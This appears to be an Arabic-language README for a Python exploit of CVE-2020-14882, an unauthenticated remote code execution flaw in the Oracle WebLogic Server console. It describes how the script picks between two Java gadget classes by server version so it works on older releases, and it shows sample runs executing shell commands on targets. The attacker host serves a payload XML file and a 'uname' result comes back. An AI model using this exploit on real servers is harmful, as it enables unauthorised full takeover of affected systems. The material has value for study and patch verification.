
CVE-2020-14882
CVE-2020-14882
ثغرة أمنية في منتج Oracle WebLogic Server التابع لـ Oracle Fusion Middleware (المكوّن: Console). الإصدارات المتأثرة هي 10.3.6.0.0 و12.1.3.0.0 و12.2.1.3.0 و12.2.1.4.0 و14.1.1.0.0. تسمح هذه الثغرة، التي يسهل استغلالها، لمهاجم غير مصادَق لديه وصول إلى الشبكة عبر HTTP باختراق Oracle WebLogic Server. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة الكاملة على Oracle WebLogic
بالنسبة لإصدارات Oracle WebLogic الأقدم من 12.2.1، نحتاج إلى استخدام الفئة 'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' لأن الفئة 'com.tangosol.coherence.mvel2.sh.ShellSession' غير متوفرة. يقوم السكربت تلقائيًا بالتبديل بين الفئتين لتنفيذ الأوامر بناءً على الإصدارات المكتشفة.
بعض السكربتات الحالية المتوفرة على Github لاستغلال CVE-2020-14882 تدعم فقط الفئة 'com.tangosol.coherence.mvel2.sh.ShellSession'، مما يعني أن هذه السكربتات ستفشل على إصدارات WebLogic 10.3.6.0.0 و12.1.3.0.0.
% python3 CVE-2020-14882.py -u http://172.16.164.134:7001 -c 'uname -r > /tmp/success' -i 172.16.164.1
[*] http://172.16.164.134:7001/console/login/LoginForm.jsp [version 12.1.3.0.0]
[*] Using: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
% python3 CVE-2020-14882.py -u http://127.0.0.1:7001 -c 'uname -r' -i 172.16.164.1
http://127.0.0.1:7001/console/login/LoginForm.jsp
[*] http://127.0.0.1:7001/console/login/LoginForm.jsp [version 12.2.1.3.0]
[*] Using: com.tangosol.coherence.mvel2.sh.ShellSession
Linux 96fc5d43736b 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux